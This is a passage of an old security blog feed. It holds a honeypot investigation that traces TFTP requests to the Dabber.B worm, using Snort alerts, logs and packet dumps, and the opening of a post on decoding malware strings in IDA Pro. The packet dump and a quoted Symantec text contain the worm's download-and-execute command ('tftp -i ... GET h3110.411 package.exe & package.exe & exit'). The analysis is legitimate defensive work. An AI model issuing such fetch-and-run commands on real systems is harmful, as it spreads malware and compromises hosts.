style="font-family:courier new;"&gt;Classification recorded : 17&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Severity recorded : 4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Portscan detected : 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Distribution of attack methods&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;=============================================================================================================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ### 81 of 81 ###&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    %    No      Attack                                                           Priority Severity&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;=============================================================================================================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  18.47  1368    ICMP Echo Reply {icmp}                                                  3 low&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  18.42  1364    ICMP PING {icmp}                                                        3 low&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  18.23  1350    ICMP L3retriever Ping {icmp}                                            2 medium&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  18.15  1344    NETBIOS SMB IPC$ unicode share access {tcp}                             3 low&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   3.13  232     SHELLCODE x86 NOOP {tcp}                                                1 high&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   0.04  3       TFTP Get {udp}                                                          2 medium&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;Here we can see 3 alerts for TFTP Get.  I like to investigate all TFTP activity as many worms use this for file retrieval.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;# cat alert | grep -A 5 TFTP&lt;br /&gt;[**] [1:1444:3] TFTP Get [**]&lt;br /&gt;[Classification: Potentially Bad Traffic] [Priority: 2]&lt;br /&gt;10/16-20:54:15.416648 192.168.0.34:32772 -&gt; 192.168.0.1:69&lt;br /&gt;UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF&lt;br /&gt;Len: 18&lt;br /&gt;--&lt;br /&gt;[**] [1:1444:3] TFTP Get [**]&lt;br /&gt;[Classification: Potentially Bad Traffic] [Priority: 2]&lt;br /&gt;10/16-20:54:19.865122 192.168.0.34:32772 -&gt; 192.168.0.1:69&lt;br /&gt;UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF&lt;br /&gt;Len: 18&lt;br /&gt;--&lt;br /&gt;[**] [1:1444:3] TFTP Get [**]&lt;br /&gt;[Classification: Potentially Bad Traffic] [Priority: 2]&lt;br /&gt;10/16-20:54:29.093299 192.168.0.34:32772 -&gt; 192.168.0.1:69&lt;br /&gt;UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF&lt;br /&gt;Len: 18&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:times new roman;"&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;I see three TFTP gets to an internal IP!!!  My router.  I don't like this!  So I immediately check my full content data:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[eon@localhost honeytrap]$ cat honeytrap.log | grep TFTP&lt;br /&gt;[2007-10-16 20:54:30] TFTP download - Requesting 'h3110.411' from 192.168.11.3.&lt;br /&gt;[2007-10-16 20:54:34] TFTP download - Requesting 'h3110.411' from 192.168.11.3.&lt;br /&gt;[2007-10-16 20:55:20] TFTP download error - Connection timed out.&lt;br /&gt;[2007-10-16 20:55:24] TFTP download error - Connection timed out.&lt;br /&gt;[2007-10-16 20:56:23] TFTP download - Requesting 'h3110.411' from 192.168.0.1.&lt;br /&gt;[2007-10-16 20:56:23] TFTP download error - Read Request failed.&lt;br /&gt;[2007-10-16 20:56:28] TFTP download - Requesting 'h3110.411' from 192.168.0.1.&lt;br /&gt;[2007-10-16 20:56:28] TFTP download error - Read Request failed.&lt;br /&gt;[2007-10-16 20:56:37] TFTP download - Requesting 'h3110.411' from 192.168.0.1.&lt;br /&gt;[2007-10-16 20:56:37] TFTP download error - Read Request failed.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Here we see several requests to internal IP's from my honeypot?  Am I PWND???  Well lets investigate before jumping to conclusions.  Lets look at the payload of the internal requests:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;# tcpdump -vvnnXs 1514 -r honeytrap_00085_20071016201229 port 69&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;reading from file honeytrap_00085_20071016201229, link-type EN10MB (Ethernet)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:52:22.037221 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 &gt; 192.168.11.3.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002e 0000 4000 4011 ae49 c0a8 0022  E.....@.@..I..."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0b03 8003 0045 001a 6c6d 0001 6833  .......E..lm..h3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  3131 302e 3431 3100 6f63 7465 7400       110.411.octet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:52:26.383238 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 &gt; 192.168.11.3.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002e 0000 4000 4011 ae49 c0a8 0022  E.....@.@..I..."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0b03 8004 0045 001a 6c6c 0001 6833  .......E..ll..h3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  3131 302e 3431 3100 6f63 7465 7400       110.411.octet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:52:27.035581 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 &gt; 192.168.11.3.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002e 0000 4000 4011 ae49 c0a8 0022  E.....@.@..I..."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0b03 8003 0045 001a 6c6d 0001 6833  .......E..lm..h3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  3131 302e 3431 3100 6f63 7465 7400       110.411.octet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:52:31.381793 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 &gt; 192.168.11.3.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002e 0000 4000 4011 ae49 c0a8 0022  E.....@.@..I..."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0b03 8004 0045 001a 6c6c 0001 6833  .......E..ll..h3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  3131 302e 3431 3100 6f63 7465 7400       110.411.octet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:52:32.034636 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 &gt; 192.168.11.3.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002e 0000 4000 4011 ae49 c0a8 0022  E.....@.@..I..."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0b03 8003 0045 001a 6c6d 0001 6833  .......E..lm..h3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  3131 302e 3431 3100 6f63 7465 7400       110.411.octet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:52:36.380831 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 &gt; 192.168.11.3.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002e 0000 4000 4011 ae49 c0a8 0022  E.....@.@..I..."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0b03 8004 0045 001a 6c6c 0001 6833  .......E..ll..h3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  3131 302e 3431 3100 6f63 7465 7400       110.411.octet.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;and...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;20:54:15.416648 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 &gt; 192.168.0.1.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002e 0000 4000 4011 b94b c0a8 0022  E.....@.@..K..."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0001 8004 0045 001a 776e 0001 6833  .......E..wn..h3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  3131 302e 3431 3100 6f63 7465 7400       110.411.octet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:54:15.417055 IP (tos 0x0, ttl 127, id 15084, offset 0, flags [none], proto: UDP (17), length: 47) 192.168.0.1.1469 &gt; 192.168.0.34.32772: [udp sum ok] UDP, length 19&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0000:  4500 002f 3aec 0000 7f11 7f5e c0a8 0001  E../:......^....&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0010:  c0a8 0022 05bd 8004 001b b78b 0005 0001  ..."............&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        0x0020:  4669 6c65 206e 6f74 2066 6f75 6e64 00    File.not.found.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20:54:19.865122 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 &gt; 192.168.0.1.69: [udp sum ok]  18 RRQ "h3110.411" octet&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Well, I see a "h3110.411" which is "Hello All" in leet (1337) speak.  Is someone messing with me?  Lets look at the traffic right before the TFTP GET using grep with the "B" flag:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;[eon@localhost honeytrap]$ cat honeytrap.log | grep -B 3 TFTP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;....&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:23]  * 5554     2015 bytes attack string from 202.211.93.182:3698.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:23]    8967     Connection from 58.91.139.171:1156 accepted.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:23]  * 8967     68 bytes attack string from 202.211.93.182:1156.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:23] TFTP download - Requesting 'h3110.411' from 192.168.0.1.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:23] TFTP download error - Read Request failed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:27]  * 1023     2015 bytes attack string from 202.211.93.182:1714.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:28]    8967     Connection from 58.91.139.171:2912 accepted.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:28]  * 8967     68 bytes attack string from 202.211.93.182:2912.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:28] TFTP download - Requesting 'h3110.411' from 192.168.0.1.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:28] TFTP download error - Read Request failed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:36]  * 445      4205 bytes attack string from 58.91.139.171:3382.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:37]    8967     Connection from 58.91.139.171:2695 accepted.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:37]  * 8967     67 bytes attack string from 202.211.93.182:2695.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:37] TFTP download - Requesting 'h3110.411' from 192.168.0.1.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[2007-10-16 20:56:37] TFTP download error - Read Request failed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;Looks like a connection attempt to port 8967 before the TFTP request.  Lets look:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;20:54:15.414621 IP (tos 0x0, ttl  28, id 21675, offset 0, flags [DF], proto: TCP (6), length: 108) 58.91.139.171.1156 &gt; 192.168.0.34.8967: P, cksum 0xdd72 (correct), 1:69(68) ack 1 win 64064&lt;br /&gt;      0x0000:  4500 006c 54ab 4000 1c06 8310 3a5b 8bab  E..lT.@.....:[..&lt;br /&gt;      0x0010:  c0a8 0022 0484 2307 64f6 5e86 2d61 deee  ..."..#.d.^.-a..&lt;br /&gt;      0x0020:  5018 fa40 dd72 0000 7466 7470 202d 6920  P..@.r..tftp.-i.&lt;br /&gt;      0x0030:  3139 322e 3136 382e 302e 3120 4745 5420  192.168.0.1.GET.&lt;br /&gt;      0x0040:  6833 3131 302e 3431 3120 7061 636b 6167  h3110.411.packag&lt;br /&gt;      0x0050:  652e 6578 6520 2620 7061 636b 6167 652e  e.exe.&amp;amp;.package.&lt;br /&gt;      0x0060:  6578 6520 2620 6578 6974 0a00            exe.&amp;amp;.exit..&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;Ah, here is the culprit.  An attack on port 8967 with the embedded command.  This must be an internal host (windows router?) that sent its internal IP as part of the TFTP attack string.  That is why it was directed to my internal IP.  Using every analysts friend, Google, we do a search on "h3110.411" and "8967".  This search comes up as the Dabber.B worm.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;font-family:arial;" &gt;Quote from Symantec:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;font-family:arial;" &gt;"This worm binds to a command shell to port 8967. Then, it uses the shell to make the infected computer download and execute the worm body using FTP. It issues the following command:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:arial;" &gt;tftp -i [attacker's IP] GET h3110.411 package.exe &amp;amp; package.exe &amp;amp; exit&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-style: italic;font-family:arial;" &gt; " &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;So here we have it, mystery solved.  If this had been a production system and not a honeypot, this would have been a sure sign of infection.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-538723407333636763?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/538723407333636763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=538723407333636763' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/538723407333636763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/538723407333636763'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/10/dabber-dan.html' title='Dabber Dan!'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_QwzalobDZ4c/RxYkpmvE_yI/AAAAAAAAAC4/rArrmSR8c8I/s72-c/dapperdan292x293gt2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-7828950216485106280</id><published>2007-09-26T16:48:00.000-07:00</published><updated>2007-10-08T18:37:08.775-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ida pro'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering'/><title type='text'>IDA Pro Foo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QwzalobDZ4c/Rvr3G_MoxBI/AAAAAAAAACs/83xXhAKLIHw/s1600-h/Software_Test_Web.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_QwzalobDZ4c/Rvr3G_MoxBI/AAAAAAAAACs/83xXhAKLIHw/s320/Software_Test_Web.jpg" alt="" id="BLOGGER_PHOTO_ID_5114672026248332306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Since I am on a roll with blogging, I will post some of my thoughts and work with reverse engineering.&lt;span style=""&gt;  &lt;/span&gt;I have been doing RE seriously for the past year, and I really love doing it, however it is time consuming and a bit mind numbing :-).&lt;span style=""&gt;  &lt;/span&gt;While working on some malware I came across a section of code that used a simple encryption routine where the encrypted string was passed byte for byte through this engine.&lt;span style=""&gt;  &lt;/span&gt;Each byte was broken into a high order and low order nibble and these nibbles were reversed revealing the decoded binary equivelent of the ASCII character.&lt;span style=""&gt;  &lt;/span&gt;I came across many specimens of malware that used this, so I wrote an IDA Pro script (IDC) to decode these strings for me.&lt;span style=""&gt;  &lt;/span&gt;  &lt;p class="MsoNormal"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Decryption Subroutine:&lt;/p&gt;  &lt;div style="border: 0.5pt solid windowtext; padding: 1pt 4pt;"&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:85%;color:blue;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;span style="font-size:100%;"&gt;subDecrypt&lt;/span&gt;&lt;span style="font-size:100%;"&gt;      &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; .text:00403F21 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;ecx, [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_C_Arg1&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt; ; start&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F24 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;dl, [ecx]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F26 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;], dl&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F29 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;eax, [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F2C &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;and&lt;span style=""&gt;     &lt;/span&gt;eax, &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;0FFh&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F31 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;shl&lt;span style=""&gt;     &lt;/span&gt;eax, &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F34 &lt;/span&gt;&lt;span 